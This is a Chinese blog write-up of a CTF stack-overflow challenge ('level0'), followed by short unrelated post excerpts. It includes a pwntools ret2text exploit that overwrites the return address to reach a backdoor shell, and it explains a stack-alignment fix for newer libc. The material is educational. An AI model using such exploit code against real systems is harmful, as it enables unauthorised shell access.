ret2text失敗 記錄一次簡單的棧溢位

2021-10-16 17:05:20 字數 2280 閱讀 2520

來自攻防世界的level0樣本,檢查樣本檔案,是64位的小端程式,並且只開啟了nx保護。

如上圖所示,該程式有非常明顯的棧溢位並且存在後門函式,所以下面直接上exp,並且解釋下在ubuntu20.04上遇到的漏洞利用問題。

from pwn import

*context(os=

"linux"

, arch=

"amd64"

, log_level=

"debug"

)#p = remote("220.249.52.134", 57409)

p = process(

"./level0"

)back_door_addr =

0x0400596

payload = cyclic(

0x80

+0x8

)+ p64(back_door_addr)

p.sendline(payload)

p.interactive(

)

如上面的exp所示,我們直接將棧的返回位址覆蓋為後門函式位址即可,待程式返回後便可獲取到shell。此程式在ubuntu16.04上執行沒有任何問題,這也是很多比賽常用的libc環境。但在更高一點的libc環境下就會出現問題,比如在ubuntu20.04上進行漏洞利用會不成功,除錯發現問題在此:

程式停在movaps指令上,該指令要求目的運算元必須16位元組對齊,也就是[rsp+0x50]的值必須是16的倍數,而我們可以看到圖中暫存器rsp的值以8結尾,所以目的運算元並不是16的倍數,所以這裡會造成漏洞利用失敗。

簡單總結一下,在ubunut16.04之後版本使用的libc中增加了system呼叫的位元組對齊要求,也就是圖中所展示的movaps要求16位元組對齊。既然發現了問題,現在我們來解決問題,movaps要求[rsp+0x50]是16的倍數,其中0x50顯然是16的倍數,所以這裡直接看rsp暫存器的值,發現是該值以8結尾,此時這裡可以大膽推廣位元組沒有對齊的情況都是末尾以8結尾的。因為這裡rsp是指向棧的指標,64位情況下以8位元組為基本單位,所以每次棧的增減都是以8為基本單位的,不會出現1234567等等其他數值,要麼是8,要麼是0結尾,0結尾也就是對齊的情況。所以要使得rsp以0結尾,我們就需要修改rsp的值,修改rsp的值就要調整棧頂指標,調整棧頂指標可以用一下指令:push/pop/ret/call/jmp/等。

這裡我給出了解決的exp,解決步驟是對返回的後門位址進行了加1的操作,這裡後門位址加1後,在彙編**上就跳過執行push rbp的那行彙編操作,因此使得棧上少執行了乙個push操作,rsp也就少減了乙個8,最後可以16位元組對齊。彙編**截圖和exp如下:

)當然由於跳過了push rbp,正常程式執行返回的時候是會有問題,不過在返回之前我們已經獲取到了shell,所以不用擔心返回的問題。

在學習的過程中,我們會遇到許多問題,最令人頭疼的問題莫過於按照官方教程也無法實現正確的操作,這是學習計算機知識和安全最容易出現的問題,畢竟計算機系統迭代更新快,知識日新月異,所以在實踐的過程中一定要沉得住氣,冷靜分析,仔細思考,不怕麻煩,細心除錯。

記錄一次redis啟動失敗

解決方法 1 win r 開啟命令列 2 cd至redis目錄,例如 d redis 3 輸入 redis server.exe redis.windows.conf 觀察是否如圖1 至此,已成功 否則,繼續進行如下操作 4 若啟動redis出現 當前日期 creating server tcp l...

記錄一次失敗的Git操作

在進行素質三連 git add a git commit m up git push檢視日誌,發現是檔案太大了 然後突然發現自己的ignore沒有新增,返過去新增,此處有乙個坑 在配置完gitignore之後還是無法忽略,此處應該執行乙個素質三連之後就可以了 git rm r cached git ...

記錄一次失敗的coding面

很想去的一家無人駕駛創業公司,技術面過了兩面,面試官評價也都不錯,敗在了最後的coding面上。本來還存在僥倖的心理,但還是在生日這天收到了hr拒絕的 很沒出息的掉了幾大滴眼淚,痛定思痛,把那天沒做出來的題目又翻出來敲了一次,發現理順了思路其實真的蠻簡單的。被拒絕也是可以理解的吧。上圖是面試官出的題...